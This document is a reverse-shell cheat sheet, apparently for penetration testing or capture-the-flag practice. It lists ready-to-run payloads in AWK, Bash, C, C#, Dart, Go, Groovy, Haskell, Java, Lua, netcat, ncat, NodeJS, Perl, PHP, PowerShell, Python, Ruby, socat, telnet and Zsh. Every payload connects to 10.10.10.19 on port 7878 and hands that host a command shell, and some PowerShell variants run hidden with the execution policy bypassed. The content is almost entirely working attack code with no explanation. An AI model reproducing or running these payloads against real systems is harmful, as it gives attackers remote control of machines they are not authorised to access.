Reverse Shells

AWK

awk 'BEGIN {s = "/inet/tcp/0/10.10.10.19/7878"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null

Bash

#-i
bash -c >& /dev/tcp/10.10.10.19/7878 0>&1

#196
0<&196;exec 196<>/dev/tcp/10.10.10.19/7878; sh <&196 >&196 2>&196

#readline
exec 5<>/dev/tcp/10.10.10.19/7878;cat <&5 | while read line; do $line 2>&5 >&5; done

#5
sh -i 5<> /dev/tcp/10.10.10.19/7878 0<&5 1>&5 2>&5

#udp
sh -i >& /dev/udp/10.10.10.19/7878 0>&1

C

Linux

#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>

int main(void){
    int port = 7878;
    struct sockaddr_in revsockaddr;

    int sockt = socket(AF_INET, SOCK_STREAM, 0);
    revsockaddr.sin_family = AF_INET;       
    revsockaddr.sin_port = htons(port);
    revsockaddr.sin_addr.s_addr = inet_addr("10.10.10.19");

    connect(sockt, (struct sockaddr *) &revsockaddr, 
    sizeof(revsockaddr));
    dup2(sockt, 0);
    dup2(sockt, 1);
    dup2(sockt, 2);

    char * const argv[] = {"sh", NULL};
    execve("sh", argv, NULL);

    return 0;       
}

Windows

#include <winsock2.h>
#include <stdio.h>
#pragma comment(lib,"ws2_32")

WSADATA wsaData;
SOCKET Winsock;
struct sockaddr_in hax; 
char ip_addr[16] = "10.10.10.19"; 
char port[6] = "7878";            

STARTUPINFO ini_processo;

PROCESS_INFORMATION processo_info;

int main()
{
    WSAStartup(MAKEWORD(2, 2), &wsaData);
    Winsock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, (unsigned int)NULL, (unsigned int)NULL);


    struct hostent *host; 
    host = gethostbyname(ip_addr);
    strcpy_s(ip_addr, inet_ntoa(*((struct in_addr *)host->h_addr)));

    hax.sin_family = AF_INET;
    hax.sin_port = htons(atoi(port));
    hax.sin_addr.s_addr = inet_addr(ip_addr);

    WSAConnect(Winsock, (SOCKADDR*)&hax, sizeof(hax), NULL, NULL, NULL, NULL);

    memset(&ini_processo, 0, sizeof(ini_processo));
    ini_processo.cb = sizeof(ini_processo);
    ini_processo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; 
    ini_processo.hStdInput = ini_processo.hStdOutput = ini_processo.hStdError = (HANDLE)Winsock;

    TCHAR cmd[255] = TEXT("cmd.exe");

    CreateProcess(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &ini_processo, &processo_info);

    return 0;
}

C#

using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Linq;
using System.Net;
using System.Net.Sockets;


namespace ConnectBack
{
	public class Program
	{
		static StreamWriter streamWriter;

		public static void Main(string[] args)
		{
			using(TcpClient client = new TcpClient("10.10.10.19", 7878))
			{
				using(Stream stream = client.GetStream())
				{
					using(StreamReader rdr = new StreamReader(stream))
					{
						streamWriter = new StreamWriter(stream);
						
						StringBuilder strInput = new StringBuilder();

						Process p = new Process();
						p.StartInfo.FileName = "cmd.exe";
						p.StartInfo.CreateNoWindow = true;
						p.StartInfo.UseShellExecute = false;
						p.StartInfo.RedirectStandardOutput = true;
						p.StartInfo.RedirectStandardInput = true;
						p.StartInfo.RedirectStandardError = true;
						p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
						p.Start();
						p.BeginOutputReadLine();

						while(true)
						{
							strInput.Append(rdr.ReadLine());
							//strInput.Append("\n");
							p.StandardInput.WriteLine(strInput);
							strInput.Remove(0, strInput.Length);
						}
					}
				}
			}
		}

		private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
        {
            StringBuilder strOutput = new StringBuilder();

            if (!String.IsNullOrEmpty(outLine.Data))
            {
                try
                {
                    strOutput.Append(outLine.Data);
                    streamWriter.WriteLine(strOutput);
                    streamWriter.Flush();
                }
                catch (Exception err) { }
            }
        }

	}
}

Dart

import 'dart:io';
import 'dart:convert';

main() {
  Socket.connect("10.10.10.19", 7878).then((socket) {
    socket.listen((data) {
      Process.start('sh', []).then((Process process) {
        process.stdin.writeln(new String.fromCharCodes(data).trim());
        process.stdout
          .transform(utf8.decoder)
          .listen((output) { socket.write(output); });
      });
    },
    onDone: () {
      socket.destroy();
    });
  });
}

Golang

echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","10.10.10.19:7878");cmd:=exec.Command("sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go

Groovy

String host="10.10.10.19";int port=7878;String cmd="sh";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

Haskell

module Main where

import System.Process

main = callCommand "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | sh -i 2>&1 | nc 10.10.10.19 7878 >/tmp/f"

Java

Basic

public class shell {
    public static void main(String[] args) {
        Process p;
        try {
            p = Runtime.getRuntime().exec("bash -c $@|bash 0 echo bash -i >& /dev/tcp/10.10.10.19/7878 0>&1");
            p.waitFor();
            p.destroy();
        } catch (Exception e) {}
    }
}

ProcessBuilder

public class shell {
    public static void main(String[] args) {
        ProcessBuilder pb = new ProcessBuilder("bash", "-c", "$@| bash -i >& /dev/tcp/10.10.10.19/7878 0>&1")
            .redirectErrorStream(true);
        try {
            Process p = pb.start();
            p.waitFor();
            p.destroy();
        } catch (Exception e) {}
    }
}

Longest

import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;

public class shell {
    public static void main(String[] args) {
        String host = "10.10.10.19";
        int port = 7878;
        String cmd = "sh";
        try {
            Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();
            Socket s = new Socket(host, port);
            InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();
            OutputStream po = p.getOutputStream(), so = s.getOutputStream();
            while (!s.isClosed()) {
                while (pi.available() > 0)
                    so.write(pi.read());
                while (pe.available() > 0)
                    so.write(pe.read());
                while (si.available() > 0)
                    po.write(si.read());
                so.flush();
                po.flush();
                Thread.sleep(50);
                try {
                    p.exitValue();
                    break;
                } catch (Exception e) {}
            }
            p.destroy();
            s.close();
        } catch (Exception e) {}
    }
}

Lua

--1
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.10.10.19','7878');os.execute('sh -i <&3 >&3 2>&3');"

--2
lua5.1 -e 'local host, port = "10.10.10.19", 7878 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, "r") local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'

Netcat

Linux

#basic
nc -e /bin/sh 10.10.10.19 7878

​#pipe
nc 10.10.10.19 7878 | /bin/sh

​#mkfifo
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.19 7878 >/tmp/f

Windows

nc.exe -e cmd.exe 10.10.10.19 7878

Ncat

Linux

#basic
ncat 10.10.10.19 7878 -e sh

#udp
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|ncat -u 10.10.10.19 7878 >/tmp/f

Windows

ncat.exe 10.10.10.19 7878 -e sh

NodeJS

require('child_process').exec('nc -e sh 10.10.10.19 7878')

Perl

#basic
perl -e 'use Socket;$i="10.10.10.19";$p=7878;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'​

#no sh
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.10.10.19:7878");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

PHP

#inside PHP file
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.10.19/7878 0>&1'"); ?>​

#exec
php -r '$sock=fsockopen("10.10.10.19",7878);exec("/bin/sh -i <&3 >&3 2>&3");'

#shellexec
php -r '$sock=fsockopen("10.10.10.19",7878);shell_exec("sh <&3 >&3 2>&3");'

#system
php -r '$sock=fsockopen("10.10.10.19",7878);system("sh <&3 >&3 2>&3");'

#passthru
php -r '$sock=fsockopen("10.10.10.19",7878);passthru("sh <&3 >&3 2>&3");'

#`
php -r '$sock=fsockopen("10.10.10.19",7878);`sh <&3 >&3 2>&3`;'

#popen
php -r '$sock=fsockopen("10.10.10.19",7878);popen("sh <&3 >&3 2>&3", "r");'

#proc_open
php -r '$sock=fsockopen("10.10.10.19",7878);$proc=proc_open("sh", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'

Powershell

#1
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("10.10.10.19",7878);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

#2
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.10.19',7878);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

#3
powershell -nop -W hidden -noni -ep bypass -c "$TCPClient = New-Object Net.Sockets.TCPClient('10.10.10.19', 7878);$NetworkStream = $TCPClient.GetStream();$StreamWriter = New-Object IO.StreamWriter($NetworkStream);function WriteToStream ($String) {[byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {0};$StreamWriter.Write($String + 'SHELL> ');$StreamWriter.Flush()}WriteToStream '';while(($BytesRead = $NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1);$Output = try {Invoke-Expression $Command 2>&1 | Out-String} catch {$_ | Out-String}WriteToStream ($Output)}$StreamWriter.Close()"

#tls
powershell -nop -W hidden -noni -ep bypass -c "$TCPClient = New-Object Net.Sockets.TCPClient('10.10.10.19', 7878);$NetworkStream = $TCPClient.GetStream();$SslStream = New-Object Net.Security.SslStream($NetworkStream,$false,({$true} -as [Net.Security.RemoteCertificateValidationCallback]));$SslStream.AuthenticateAsClient('cloudflare-dns.com',$null,$false);if(!$SslStream.IsEncrypted -or !$SslStream.IsSigned) {$SslStream.Close();exit}$StreamWriter = New-Object IO.StreamWriter($SslStream);function WriteToStream ($String) {[byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {0};$StreamWriter.Write($String + 'SHELL> ');$StreamWriter.Flush()};WriteToStream '';while(($BytesRead = $SslStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1);$Output = try {Invoke-Expression $Command 2>&1 | Out-String} catch {$_ | Out-String}WriteToStream ($Output)}$StreamWriter.Close()"

Python

#1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.19",7878));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'​

#2
export RHOST="10.10.10.19";export RPORT=7878;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'

#short
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("10.10.10.19",7878));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")'

Ruby

#1
ruby -rsocket -e'spawn("sh",[:in,:out,:err]=>TCPSocket.new("10.10.10.19",7878))'

#2
ruby -rsocket -e'f=TCPSocket.open("10.10.10.19",7878).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

​#no sh
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("10.10.10.19","7878");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

Socat

#basic
socat TCP:10.10.10.19:7878 EXEC:sh

#tty
socat TCP:10.10.10.19:7878 EXEC:'sh',pty,stderr,setsid,sigint,sane

Telnet

TF=$(mktemp -u);mkfifo $TF && telnet 10.10.10.19 7878 0<$TF | sh 1>$TF

Zsh

zsh -c 'zmodload zsh/net/tcp && ztcp 10.10.10.19 7878 && zsh >&$REPLY 2>&$REPLY 0>&$REPLY'
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